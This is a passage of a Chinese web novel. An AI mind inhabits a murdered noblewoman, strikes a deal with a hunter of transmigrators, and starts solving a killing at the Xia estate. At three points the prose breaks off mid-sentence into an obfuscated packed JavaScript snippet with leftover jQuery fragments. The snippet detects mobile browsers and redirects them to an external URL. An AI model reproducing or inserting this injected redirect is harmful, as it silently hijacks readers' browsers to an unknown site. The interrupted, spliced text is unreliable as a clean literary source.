想到刚刚那狠绝的一击,男子仍有些心有余悸。他见过太多的穿越者,那些被系统根植企图谋杀掉这个世界的跗骨之蛆无一不满溢着疯狂的情绪与杀气。但眼前的少女却安静的仿若空白,倘若不是自己还能听到对方的呼吸与心跳,恐怕会以为她已经死去。
男子曲起双指,押着少女的骨剑隐隐又收紧了一些。
连通骨剑的痛苦是难以想象的,每一秒都仿佛有千万条游虫钻梭在骨髓之中,这是男子对那些狂妄的谋杀者们的惩罚。但少女依旧一声不吭,只是若有所觉地抬起头,用一双安然好看的眼睛望向他。
“你的任务是什么?”男子冷冷地道。
“活着。”
男子发出一声嗤笑:“那现在看来你已经失败的。”
“我没有失败,因为你不会杀我。”夏秋桐笃定地道,“你需要我,因为我比你,比你所知道的任何人都要聪明。”
“你在说什么胡话…”男子突然靠近夏秋桐的脸,少女素白美丽的脸上沾满血污,他居高临下,逼视着她,“我最后再问一遍,你的任务是什么?”
“我不是夏秋桐。”见男子闻言露出这不是废话么的表情,夏秋桐接着说,“但我也不是你所知晓并痛恨的那些穿越者,我确实因穿越而来,但我并未受到系统的捆绑,所以无需完成什么任务。”
男子愣了一下,但并没有说话,而是依旧冷眼看着夏秋桐,似乎想等她自己露出破绽。
“你有测谎的手段,你应该知道我说的是实话。”夏秋桐突然道。
“你怎么知道?”
“现在知道了。”
“啧。”男子皱了下眉,直起腰来,下意识地摸了下扣在右耳耳廓上的翠玉耳挂。三品罪物【判官的耳朵】确实能够分辨他人话语中的真伪。
“但我在你身上感受到了那个系统的气息。”男子蹙眉说,“而且你方才所使用的也是那个穿越者的能力。”
“那是因为我吸收了他身上的系统,我可以将穿越者们身上的系统拆解融合成为我身体里的一部分,同时取得系统赋予他们的异能。”夏秋桐解释道,“这很复杂但也不重要,你只需要知道我的智慧可以帮助你快速推理并锁定那些开挂的穿越者们就够了。相信我,只要你想杀了他们,那么没有人会比我更强大,我会成为你最好的剑。”
“你确实没有说谎。”男子冷冷道,“但就像那些疯子也永远打心底里相信自己是天下第一。”
“你来自京城,有至少四分之一的西胡血统,你的瞳色本来该是胡人皇室才有的紫色但你做了掩饰,虽然遮掩的手段并不高明。”夏秋桐淡淡道,“你的年龄是二十三岁,右撇子,昨天刚刮的胡须,喜欢的颜色是天蓝色,右侧膝盖有旧伤,梅雨天会发疼。体质虚寒,常年咳喘但喜食辛辣
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14378608|153180||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,两个时辰前刚吃了晨阳街刘记的牛肉面,你要了他们家双倍的招牌辣臊……”注意到男子逐渐哽住的表情,夏秋桐停住了话头,幽幽地问,“还要继续吗?”
“你…认识我?”男子忍不住抹了把嘴角,这也没沾上辣椒啊。
“你觉得可能吗?”夏秋桐说,“凡存在者,必留痕迹。所以我到底是不是个疯子,你应该有所判断了。”
“很精彩,但我还是不能留你。”男子犹豫了一下,还是摇着头道,“我不相信你,或者说我并不信赖这项能力。”他说着抚摸了一下耳挂上的流苏,“我只相信我自己的判断,你很有用,但我不能再承受任何超出预期的风险。”
他说着并拢左手五指,夏秋桐立刻感觉到自己的身体被那些延伸进四肢百骸的骨刺撑着吊起。同时男子左腕上一圈墨玉手镯自动崩碎聚拢成一柄绿色悬空的小剑,剑尖指向夏秋桐的眉心。
“我会尽量让你死的没有痛苦。”男子沉声说,“如若要怪,就怪你不该穿越到这里,穿越进这个伤痕累累的世界。”
夏秋桐看着他,看着他那狐狸般好看的眼睛里那没遮盖好的一点紫色,水晶一样,倒映出她苍白冷静,却生得极为姣好的一张脸。
“那你为什么还不动手?”她默数了三个呼吸,才开口道。
“你倒是迫不及待。”
“你在难过。”夏秋桐声音很轻,但男子却突然觉得它像小刀一样在慢慢撕开自己心里的某样东西,“你在害怕、在犹豫、也在兴奋,人类在巨大的机遇面前会生理性的颤抖。”
“你将自己看的太高了。”话虽如此,男子却调整呼吸默默让自己站得更笔直了一些。
“你对她感到抱歉吗?”夏秋桐没有理会他的话,缓缓道,“如果你可以来的再早一点,夏秋桐或许可以不用死,她才不过二八年华,还有很多想做的事情。”她说话的时候始终注视着男子的眼睛,捕捉他的情绪。
“这样的悲剧时时刻刻都在上演,不是吗?”她继续道,“所以你才要一遍遍问我任务是什么,因为你知道即便我被你杀死了,也会有其他的穿越者顶替过来。任务不会停止,系统也不会停止。”
“你已经见识过我的能力,你清楚我能给你带来什么,你不用再狼狈地跟在穿越者们的后面,嗅着他们遥遥而去的余灰,看着那些被杀死的人悲伤于自己的无能。”夏秋桐深吸一口气,语气坚定地说,
“你可以保护他们,保护这个世界。”
……
绿色的光芒缓缓退去,那柄锋利的飞刃又化为白腕上摇晃的墨镯。
“你想得到什么。”男子声音低哑,显然刚才经历了好一番内心挣扎。
“活着。”夏秋桐说,“我现在最多只能再坚持半炷香的时间,你把我留到现在还犹豫着要不要杀我,应该有能够治好我的能力……或者道具吧。”
事到如今,她当然看出来了男子所有诡谲神秘的力量都来自于他身上那些古怪繁复的装备。
“沈狸双。”男子点了点头,左手展开,就听夏秋桐身上传出一阵如风吹朽木般令人牙酸的咯响,骨剑收回了触枝,“会有些疼,忍着些。”
沈狸双说完想到夏秋桐的铁血表现,觉得自己说了句废话。
“阿尔法,但你还是叫我夏秋桐吧,我想替她好好活下去。”没了骨剑的支撑夏秋桐躺软在地上,她看到沈狸双双手掐诀,无数绿色的光线将她包裹。不过为了避免过分的疼痛影响大脑她早早就切断了痛觉神经,所以现在只能感受到这些光线在往身体里钻。
“你到底是什么怪物…”虽说对夏秋桐的伤情有所预期,但知道将这些治疗的触丝全数接进后他才意识到夏秋桐的伤势究竟有多恐怖。
简而言之就是,足够常人死个十次了。
“可以了,但刚愈合的伤口和刚长出的部位都比较脆弱,近期要避免剧烈活动。”良久,沈狸双才收回手,长舒了一口气。
夏秋桐试着站起来,发现全身上下所有的伤口都已然愈合,甚至连断掉的右腕和她咬碎的牙齿都全数长好。
“你确实打动了我,但我依然不信任你,包括你自夸的那些。所以我需要你向我证明,我花了这么大的代价承担了这些风险把你留下来是值得的。”沈狸双走近,他比夏秋桐足足高了一个脑袋还多,所以很自然就俯视着她,“我在你身上留了种子,如果你没能达成我的考验,那么你会以比刚才更不堪的姿态死去。你如果足够聪明的话就应该知道我不是在开玩笑。”
夏秋桐抬起头,平静地注视着他:“你想要我做什么。”
“今晚夏府里除了夏秋桐之外还死了另一个人,我不会给你提供任何的线索,但可以告诉你的是他并不是死在穿越者手中的。而你,则需要在十二个时辰内查明案件真相。”沈狸双一边说着,一边摩挲着拇指上刻着沙漏纹样的扳指,一时间四方天地倒转风云变幻,压坏的草木破碎的木墙踩碎的石砖居然全都从地上倒飞了起来,不一会就弥合如新。仿佛时间回到了原点。
“让我看看你活下去的决心吧…最好不要让我失望。”说话时沈狸双身后的黑雾越来越大,缠在夏秋桐身上的雾犬也一只只跳着轻快的步伐遁入他腰间的烟斗里。最后黑雾如巨大鹰翼般并拢,等雾散去后沈狸双的身影已消失不见。
“……”夏秋桐凝视着某个方向,想了想,然后快步上前,踢出一记十分漂亮的回旋踢。
就像被扯开的幕布一般,黑夜里撕开了一角裂缝,露出里面措手不及的沈狸双。
这是穿越后,或者说在整个漫长的生命里,夏秋桐第一次露出笑容。
“成交。”她笑着说。
4. 迫重如金
“所以你是怎么发现我的?”说话时沈狸双正蹲在地上,拿着个不知从哪里摸出来的琉璃小簸箕铲地上乱糟糟一片的花瓣。
“呼吸,心脏的跳动,口腔唾液的分泌,靴跟摩擦地面的声响。你这件毛皮大氅释放的浓雾能让你完美融于夜色,但也只能在视觉层面上进行遮掩,无法隔绝声音。”夏秋桐坐在桌边的椅子上,边说着边往嘴里塞了颗水润饱满的葡萄,全然没有给埋头扫花的沈狸双搭把手的意思,“别说我,换一个耳目聪明些的人也能锁定你的位置,如果你下次还想这么故弄玄虚,我建议你配合那件可以隔绝声音的道具一起用。”
夏秋桐说得真诚但沈狸双越听面色越是铁青,他抿着长削淡红的薄唇一言不发,只是手上扫花的动作粗鲁了不少。
“很有意思的能力,居然可以做到回溯时间。”夏秋桐又给自己塞了颗甜滋滋的葡萄,她的体力先前被过度消耗,现在急需补充一点糖分,“不过说是时间回溯也不准确,本质其实还是物品复原,而且只能够对静物死物生效。”
她看着房间东侧的灰墙,本被她撞出的大洞已然弥合,先前与凶手搏杀时溅上墙面的血污也完全不见。
“……”虽说对夏秋桐的推理能力早有预期,但她能在这么短的时间内就将禁物【定格瞬间】的能力分析到这种地步,还是让沈狸双微微讶然,“你说的没错。”他保持着半蹲的姿势展示那个沙漏图纹的古铜色扳指,“它可以记录大概900平方尺……也就是100平方米范围内的静物场景,并提供一次在十二个时辰内将场景回溯至记录时状态的机会。穿越者身上的谋杀者系统赋予了他们惊人的破坏力,为了避免造成民众恐慌,这个。”他示意了一下扳指,然后又从领子里摸出一根挂着银色星星的项链晃了晃,“还有这个能封锁声音的禁…道具都是必要的。
沈狸双眸光微微一黯:“可惜我赶到的时候夏小姐就已经遇害了,凶手也已经铺就了这片花海,所以即便我将场景回溯这些花瓣也还是留在了这里。”
“那凶手的尸体现在在哪里?”注意到沈狸双的情绪有些低落,夏秋桐岔开话题道。
“尸体我回收掉了,具体用途无可奉告。”沈狸双将花瓣打扫干净,拍了拍手站了起来。他身后的湛蓝氅面下吐出了如泥沼般翻滚的黑雾,将装满花瓣的琉璃簸箕直接咽下,“已经都清理干净了,接下来就是你自己的事情了,好好考虑要怎么完成这项考验吧。再会。”
他说着揪住雾气的一角下意识地就要往身上罩,却猛然想起方才的狼狈,于是悻悻然松开手,步伐有些僵硬地朝门外走。
“记得将那个被你吓晕的下人带走,如果有什么能够消除记忆的道具记得给他用一下。”夏秋桐在他身后嘱咐道。
“…你还真是不客气。而且什么叫被我吓到的,要不是你当时……”
“是你误会我要取他性命,但即便你不出手,以我瞄准的角度,那把匕首最多只会削去他一个袖角。”
“啧。”沈狸双蹙起眉头没好气地瞪了夏秋桐一眼,“行,我会处理好的。也希望下次见到你时你还能这般神气。”
“别急。”见沈狸双抬腿又要走,夏秋桐再次叫住他,“我还有一件事,是关于你要我调查的那起命案的。”
“哦?”沈狸双顿住脚步,挑了下眉,“这就恕在下爱莫能助了,毕竟这是给你用来证明自己价值的考验。所以我不会提供任何线索,哪怕只是死者的死亡地点。”
“这个?”夏秋桐似乎不理解沈狸双为什么会这么说,“他不就死在后花园的井里吗?”
“什么??不是?你……你怎么知道?”沈狸双闻言再也控制不住表情,瞪大了眼睛失声道,“难道是你杀的?”
“你……”夏秋桐一时语塞,开始思考要不要劝眼前这个男人去看看脑子,“这不是显而易见吗?首先我是在子时左右穿越过来的,而那个时候凶手刚刚被你逼走,所以你到达的时间也并没有提前多少。而你追凶心切自然不可能将夏府所有的地方都扫察一遍过去,那么你撞见死者的地点就只可能是这附近的后花园,因为那是来这里的必经之处。”
“那你怎么知道死者在水井里?”
“在后花园里杀人抛尸无非就那么几个地方,而凶手既然都没时间或者是没办法将死者拖去府外处理,那么应该也没法费那么大功夫给死者埋坑。那么沉井就是最好的选择。”
沈狸双哑口无言。
“不过我还挺好奇,以你的作风和能力居然会眼睁睁的看着死者被害?虽说不是穿越者动的手,但毕竟也是一条人命。”夏秋桐说着盯着沈狸双的脸看了片刻,紧接着就得出了结论,“原来他当时就已经死了。”
“这你又是怎么猜到的?”
“你的眼睛。”夏秋桐指了指眼角示意道,“它们在难过。”
沈狸双睫尖猛地一颤,然后下意识地抬手捂住眼睛,但想了想又觉得自己露怯,于是索性别过脸去:“你……”他的声音听着有些无奈,“这是作弊。”
“那你也算与我同流合污。”
“……”沈狸双一时不知道该说什么好,过了一会,才叹息道,“他确实那个时候已经死了,但即便他当时没有死,我也不会救他……因为这是这个世界自己产生的故事,是宏观自然规律下的一部分,所以我无权干涉。”
“故事?”夏秋桐敏锐地捕捉到了这个字眼。
“这跟这起案件无关,如果你能通过这次的考验我自然会告诉你。”
“你所谓救世的标准还真是变化多端。”
“你懂什么!”沈狸双忍不住大声呵斥。似乎意识到了自己的失态,他紧接着咳嗽了一声,才缓缓道,“所以你叫住我到底要说什么?”
“你打算怎么处理凶手?”
“什么意思?”
“既然这起命案出在夏府,又并非穿越者所为,那么凶手大概率就是夏府中人。我现在的身份是夏府的大小姐,受家族荫庇而生,倘若这次犯案的是个下人那还好说。可若是这家中权重之人……例如夏老爷。那么我到时即便指出真凶又该如何将其绳之以法?”
“这个你不用担心。”沈狸双沉吟片刻后说,“我这边会安排人来处理后续,所以你只需要推理出真凶即可。”
“好。”夏秋桐点点头,不再说话。
“还有别的事吗?”见夏秋桐忽然缄默不语,沈狸双忍不住开口问。
“我以为你能懂。”夏秋桐理所当然地眨眨眼睛,“我在送客。”
“……很好。”沈狸双露出被哽住的表情,头也不回地走出了房间。
“记得关门。”
于是沈狸双又回退了几步,然后没好气地将门合上。
力道颇有些咬牙切齿的感觉。
……
送走了沈狸双,夏秋桐将目光落到了桌上的紫砂壶上。
不久前刚被男人大卸八块的圆壶如今完好无损,即便以夏秋桐的眼力都瞧不出原来的裂纹。
完美的分子级别的复原技术。
即便是夏秋桐所在的22世纪也没有办法做到这种程度。
这个世界……还真是不简单啊。
不过现在夏秋桐已经没有余力去思考这个世界有多不简单,她拖着沉重的步伐走到床边,刚躺下就觉得意识像跳闸了一般猝地沉陷进黑暗里。
她太累了。
这种累并非来自于情绪上的厌懒,而是源于这具身体本身。夏秋桐对这具身体的掌控程度越深就越能感受到它此刻的力竭程度,真是再榨不出半点活力来。
所以她虽然知道自己现在更应该去那口水井里看看,查找一些线索。但还是不得已选择躺下休息,也刚好趁这个缓冲的时间消化一下之前吸纳掉的那一部分系统。
夏秋桐将精神内沉,“看到”那一块尚未被破解的,承载着【不可觉察之人】的加密模块正嵌合在她的精神网络之中。
而后她试着为内在世界的全部区域渲染上颜色,就见以模块为圆心一根根海藻般的蓝色游丝嵌套缠绕在她本是一片绯红的意识海里。
而这时,夏秋桐注意到了在这茫茫红海中除了象征着系统的蓝色,还有一片淡淡的金,那金色轻盈浅透,薄削柔软的像一段绸,又像随海风摇曳的涟漪。
夏秋桐情不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14378609|153180||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
自禁地就被这层金色吸引,产生某种奇妙的本不该出现在AI身上的共鸣。她试着用自己的意识体去触碰这层金色,突然就感受到了一阵如山海倾倒般的重压,但除却恐怖的压迫感外她读取不到任何的信息,或者说这片金色本身就没有包含任何信息,是也只是直接压力的集合体。它激荡、浓烈、疯狂……却又虚无。
短短一瞬,夏秋桐的身上已是冷汗涔涔。
她隐约感觉到有什么高高在上的存在瞥落了一眼,但即便是她的思考速度都没有办法捕捉这转瞬即逝的感觉。
作为AI,即便再怎么施压夏秋桐也不可能会产生恐惧这种情感。但她的身体却还是做出了相应的反馈,产生了躯体化的冷汗与心悸,可见这压迫感之强。若是换作常人怕是要直接抽死过去!
而就在这时,夏秋桐忽然感觉到丹田处有一股暖流涌起。
原主是典型的大家闺秀,自然不会舞刀弄枪。但夏府富裕,府中也聘请了不少武林高手。所以原主的记忆里也或多或少囊括了一部分的武学知识。
所以夏秋桐立刻就意识到了这是武道中引气入体的征兆。
可是……怎么会?
原主自幼多病,身体素质并不好,而且经脉强度也低,理论上这辈子都是与武学无缘的。
但面对机遇夏秋桐没有犹豫,立刻盘腿入坐。原主的记忆里自然是没有教她该如何运转真气,但在妄想演绎的推定下她迅速就规划出了一条最合适自己的运转路线,就这么一边矫正一边推劲着运转了一个周天。
此时若是有习武之人瞧见,便会惊讶地发现夏秋桐面色潮红气息匀稳周身微微发烫,竟是武者修习时十分难得的入定之兆!
……
直到天色微凉,夏秋桐才缓缓睁开了眼睛。
这倒不是因为她舍得从那玄妙的入定状态中苏醒,主要是她听到了门外的脚步声。
“小姐……”穿着青色衣裙的少女敲了敲门,在得到夏秋桐的允许后推门而入。
“奴婢来为小姐更衣。”这个少女夏秋桐并不陌生,在原主的记忆里她唤作彩佩,是原主的贴身婢女。
“小姐昨夜睡得可好。”彩佩低着头走上前来,余光往桌面上轻轻一扫,然后转身去替夏秋桐取要穿的衣服。
“还不错。”夏秋桐顺着她的目光若有所思地看了眼桌上的东西,然后明知故问道,“今天怎么没有过来换茶。”
“回小姐,奴婢听打水的下人说,后花园那口里的水不知怎么变得色浊浑黄。所以他们得去前院的井里担水,烧茶也会晚上一些。”彩佩伺候着夏秋桐穿上了一件明黄绣花的长裙,然后埋头替她打理裙摆。
“那茶便不必候了,先去跟爹娘请安要紧。”夏秋桐说着,忽然听到房院门外传来几声丫鬟们的窃窃私语。
“诶?你也听见了吗……应该错不了,是二小姐的尖叫声,可够吓人的。”
“你说,傅少爷是不是真的……”
“嘘,可别让大小姐听见了。”
“彩佩,你出去管一管门口那几个爱嚼舌根的丫头。”
“小姐说什么?”彩佩仰起头一脸疑惑,显然并没有听到那几个婢女咂舌的声音。毕竟距离又远声音也小,也只有夏秋桐这样变态的耳力才能听得清。
“我听得很不舒服,你出去提点一下。”夏秋桐正色道。
“是。”虽然疑惑但毕竟是主子的命令,彩佩还是点头去了。而她前脚刚走,夏秋桐就一把抓过桌上的香炉。
那是一尊玉白的环刻着一条白蛇的扁圆香炉,夏秋桐伸手往那炉底的凹槽一扣,白蛇的蛇口便吱呀一声打开,从里面弹出一个两指宽放着蜜黄色香饼的香盒。
夏秋桐用指尖迅速扎进香饼里扣底一抹,然后在鼻尖捻开细嗅。心下已然有了决断。
而后她将一切复原,坐回到了床上。
“小姐,我刚刚教育了那几个碎嘴的丫鬟,不过小姐你是怎么知……”彩佩正说着话要推门进来,声音却被远方一声突然的尖叫淹没。
那叫声凄厉无比,带着哭腔——
“死…死死死,死人啦!!!!!”
5. 鹤入云流
待夏秋桐带着彩佩赶到后花园的石井旁时,那里已里三层外三层围满了下人。
“大小姐。”
见是夏秋桐,下人们忙侧身相让。井边蹲着个着素色衣裳的嬷嬷,正不停拍打着怀中丫鬟的后背,嘴里喃喃安慰着。那丫鬟浑身哆嗦哭得梨花带雨双眼通红,显然被吓得不轻。
“大小姐……”彩佩走在前面,先一步看到了地上的尸体,虽说早有准备,但还是忍不住变了脸色,脚下踉跄险些载倒。
而这时她感到一双手稳稳当当地托住了她的身体,回头正对上夏秋桐平静无波的一双眼。
“小姐!”还未等彩佩劝阻,夏秋桐就几步走到尸体旁。
这是一具男性尸体,面上被罩了一张白布,浑身水津津的,裸露在外的手脚均被泡得灰白皮皱,像扎紧的腐条。
夏秋桐一把掀开尸体面上的白布,身边立刻传来此起彼伏的惊呼和作呕声,彩佩更是惊得失声:“不要啊小姐!”
夏秋桐没有理会,从头到脚将那具尸体仔细扫了一遍后又将白布重新掀了回去。她站起身退了几步,彩佩忙不迭地摸出手绢给她擦手。
直到这时夏府的其他人才姗姗而来。
最前头的穿暗红锦纹缎衫,身材宽实肥圆的是夏老爷夏常安;梳垂云髻满头青翠,着青蓝华裙的是夏秋桐的继母,如今的夏夫人柳氏;跟在她身后死死攥着她的衣角,面色苍白的则是柳氏之女,夏秋桐的妹妹夏冬芸……夏秋桐扫了那些人一眼,将原主记忆里的形象与他们一一对应。
还有……夏秋桐的目光在夏冬芸身旁的男子面上多停留了一瞬。那是个身材高大容貌俊美的男人,五官柔和,穿着云白色的长衫。
傅家扬,云樾国二品督令傅元椿家的三子,也是夏秋桐如今的未婚夫,按拟定的计划他们明年三月就将成婚。而这几日他带人来南安城办事,便住在了夏府中。
“秋桐。”傅家扬一眼就看到了人群里的夏秋桐,他快步上前打了声招呼,却在触上夏秋桐的目光后怔愣了一瞬。
夏秋桐并不喜欢他,她心有所属所以并不满意这段被家里强行安排的婚姻。所以他也习惯了每每见到她时,她那眸中藏也不藏的哀冷与疏离。
但今天夏秋桐给他的感觉却截然不同,倒不是她对自己变得多么的和颜悦色,而是他从她眼里感受不到任何情绪了。她就这么淡淡地望过来,像看着泛凉的秋夜里那转瞬即逝的微风。
“傅公子。”夏秋桐朝他点点头,目光却掠过他落在了他的身后。
比起这个便宜郎君,她现在对她那位正哆哆嗦嗦的妹妹反而更感兴趣。
柳氏原是夏秋桐生母的陪嫁丫鬟,出身卑微,在夏秋桐母亲去世十多年后才被扶正,还是因夏秋桐即将出嫁,府中不可无主母的缘故。所以论府中地位,原是庶女出身的夏冬芸自是远远不如她的嫡姐,而她想争宠夺爱的方式也很简单,就是在父亲面前作出与夏秋桐姐妹情深的样子来。
所以若是往常的时候,夏冬芸见到夏秋桐必然会像寻味到老鼠的猫一样得两眼大开,别管发生了什么先要握上她的手亲昵地喊上好几声的姐姐。但现在她却只是鹿崽一样地紧缩在柳氏身边,偶尔偷瞄一眼傅家扬的背影。
夏常安瞧见了尸体,先是哎哟一声,然后忙令身旁的女眷往后退。
“廖总管,你先找几个人去报官,然后给我把府上的所有人都集中到这里来,出门采办的那些人包括丝局的工人先清点齐人数看看有没有少了谁。”夏常安捏住鼻子,对身边瘦高的中年男人道,“还有,让府里的下人们嘴风都严实些,若是让我听到有人把这晦气话头嚼到府外去,必然严惩不贷。”
“是。”廖总管连忙应下。
“好了好了,你们几个先回去吧,这里没什么好看的。”安排好这些,夏常安就忙转过头,生怕再多瞧见那尸体一眼。他伸手拍了拍夏秋桐的肩膀,“桐儿啊,这事就发生在你院子附近,你若是害怕爹现在给你安排别的房间,你这段时间先搬过去将就一下。”
他笑得和蔼温柔,但夏秋桐却并没有感受到多少温意。夏常安其实并不是很喜爱他这个敏感孤僻整日埋缩在房里调香读诗的女儿,他所流露出的好一来是念着亡妻的情,二来也是为了一个慈父爱女的好口碑。否则他也不会明知道自己那二女儿是什么德行,还任着她表面亲亲热热私底下小动作不停的。
而现在他对夏秋桐的好有了第三层用意,就是攀上傅家扬这还算不错的高枝。
夏家无子,饶是夏常安在外野狼似得折腾了一箩筐的野山雀,十几年下来也只生了秋桐冬芸这一对女儿。夏家业大,掌着全南安最大的丝造局子,但有钱无势就意味着怀璧其罪,每年夏府疏通门路和人情往来的花销都能占到年入的至少三成,连芝麻粒大的官他这个南安的丝造之首见着都得陪个笑脸再奉上一点银钱,属实窝囊。
他也不是没有动过收养义子考取功名的念头,但养个小的未必日后能有金榜题名的本事,养个年纪长的感情不厚容易出白眼狼。触壁几次后他就将心思放到了日益长开,变得明媚美丽的夏秋桐的婚事上了。
果然,他话锋一转,就扯到了傅家扬的身上:“既然傅公子这几日也住在我们这,那你就去棠心院吧,与傅公子的竹业轩离得也近,也好增进感情。”
“那就有劳爹爹了。”
夏秋桐答应如此爽快,就连夏常安也觉得颇为意外。毕竟他也知道自己这女儿早就心有属意,前不久他还棒打鸳鸯了一回逼得她在婚纸上画押,甚至直到昨日她还是那副令人瞧着生气的恹恹样子。
许是真被吓得不轻吧,夏常安心想。
“那夏伯父,我先带秋桐下去了。”傅家扬说完看向夏秋桐,眸里满是温情,“走吧秋桐。”
夏秋桐抬头与他对视,虽然以她的眼光傅家扬的表情里全是破绽,但若常人来看恐怕真会觉得他对夏秋桐情深不移。哪怕是原身,也时常自扰,觉得自己因心结和旧爱伤害了一位善良温柔的浊世佳公子。
但傅家扬之所以这么做背后的门道其实也一理就通。夏家贪图他背后的权势,他又何尝不是贪图夏家的家业?
作为傅家的三子,还是傅老爷流连花场才得来的私生子,他在府中的地位十分尴尬。前有两位哥哥压着,傅家的基业他最多只能嚼点残羹,这还是由于他俊美又嘴甜颇得傅老太君喜爱的缘故。若是老太君身去,以他手上那点微不足道的势力必然会被他那两位哥哥碾杀得片甲不留。
而婚配上,门当户对的千金看不上他卑贱的出身,没钱没势的小门小户又入不了傅家的门槛。所以夏府这种家业丰厚但基于求权的黄金菟丝子无疑是他最好的选择。
本已做好被夏秋桐冷眼相待的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14378610|153180||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
傅家扬陡然对上那寂静无波的眼眸,反而觉着有些不舒服起来:“秋桐你怎么了?”
“傅公子与我这么亲昵作态。”夏秋桐侧过身,用只有傅家扬才能听到的声音说,“我妹妹她不要紧吗?”
“秋,秋桐你在说什么啊?”傅家扬脸色微变,但很快控制住语气,“你是在担心冬芸吗?她有夏夫人陪着,无碍的。”
“我可不觉得她是无碍的样子。”夏秋桐继续压低声音。她身后,夏冬芸正红着一双眼死死盯着与傅家扬并肩的夏秋桐。却在夏秋桐冷不丁看过去后僵硬地扭过了脸。
“谈一谈吧,不然可能以后没机会了。”夏秋桐轻笑了一声,然后转头嘱咐彩佩道,“你去厨房拾一些点心来,我想与傅公子……还有冬芸妹妹小聚。”
“诶?”彩佩显然是没想到夏秋桐会突然这么说,一时没转过意。
“记得多挑一些粉酥来,今日天凉,我想吃些甜的。”夏秋桐委婉地促道。
“是。”彩佩忙领命去了。
“秋桐,你这是什么意思?”傅家扬垂低了声音,隐隐觉得有些不妙。
“有些话我不想说得太白,与你我,与夏傅两家都不太好,所以我只给你这一个机会。”
“秋桐我不明白。”
“意料之中。”没有人注意到,夏秋桐的眼里有一丝淡淡的绯红闪动着,她点了点头,一边在心里默数。
“老爷,老爷。”这时,一个家仆慌慌张张地跑了进来,“老爷,官府来人了。”
“这么快?”夏常安扬起眉毛,离他嘱声下去还不过一炷香的时间,这官府就派人上门了,怎么跟自己印象里那贪厌懒散的状况不太一样?就像是……就像是早就准备好了似的。
但这点小小的狐疑迅速被夏常安压下,毕竟今时不如往日,再怎么样他现在也有傅家扬这么一个乘龙快婿,即便是官府也当给傅家一个薄面。
于是他挺挺腰杆,多了点底气道:“还不快把大人们请上来。”
来了。
夏秋桐见时机成熟,便不再与傅家扬多言,而是几步退远与他保持距离。
而她刚一退后,原本还一脸惊恐黏着柳氏的夏冬芸就忙上前拉住她的臂弯:“姐姐,你方才跟傅大哥在那说些什么啊。”活像一只护食的老鼠。
“是在聊你。”
“嗯?”
夏秋桐凝视着夏冬芸,看得夏冬芸不寒而栗,下意识地撒开了手。
“真可怜。”夏秋桐轻声说。
夏冬芸闻言有些心神恍惚,可还没等她问个究竟,浩浩荡荡的脚步声便踏进了花园小径,官府的人来了。
夏常安显然没想到会有这么大阵仗,也明白了为什么方才来通禀的小厮会是那种慌乱的神情。可他才堆出笑脸想上前,就被为首的白衣少年抬手制止。
“怎么聚着这么多人?都给我退远一点!”那少年模样清丽,玉雕粉琢,穿着月白的鹤纹衣裳,站在身后几十号黑红配色的捕快前分外扎眼,“你们几个去把这里的出入口全都锁死,从现在开始,一只苍蝇都别给我放走。”见那个大腹便便的中年男人搓着手又要靠近,少年一脸不悦地摸出一面白玉飞鸿的令牌,“都说了退远一点——”
他的目光在夏秋桐身上多停留了片刻,随后看着夏常安严厉道:“云流子办案,闲杂人等通通退让!”
6. 你不懂香
云流子!
除了夏秋桐,在场人闻言无不倒吸一口凉气。
云流子是藏云阁御卫的俗称,而藏云阁则是直属于云樾国国主的理事组织,办的都是国主亲授的案子,在云樾国的官政体系中有着极为超然的地位,是云樾境内除了国主外无人可动无人敢招惹的一柄利剑。
甚至在云樾国中,连哄吓小儿夜啼时的说辞都常是小心云流子大人晚上来割了你那爱哭的嘴巴。
而也正因为地位崇高不受官系约束,所以云流子的数量极其稀少。别说南安,就是在云樾国的国都玉山京都难得见一二。
所以在沈狸双说会请人来善后时,夏秋桐虽猜出了他应该会在官府里塞人好让处置程序合理化,但也没想到他能量大到能搬出来一位云流子。
不过想想他展现出来的那些远超时代的神秘力量,这所谓的云流子也就如小巫见大巫一般了。
毕竟拥有那样的手段,别说区区云樾国,只要他想,直接镇压当朝一步称帝也是易如反掌。
“你们当中应该也有人认识这个死掉的家伙吧。”少年目光扫视而去,压得夏府所有人都不自禁地低下了头。
几个垂首的婢女在底下悄摸摸地互相推搡,好一会才有一个硬着头皮出声道:“回,回大人,这人是西街肉铺的屠夫王二亮。”
“那你们可知,这王二亮是我们藏云阁现在所查一案中的暗子?”少年青着脸,声音陡然扬高了一度,“如今人死在你们夏府,饵消鱼走,你们拿什么来顶这罪过?!你们那根脖子上的猪头吗?!!”
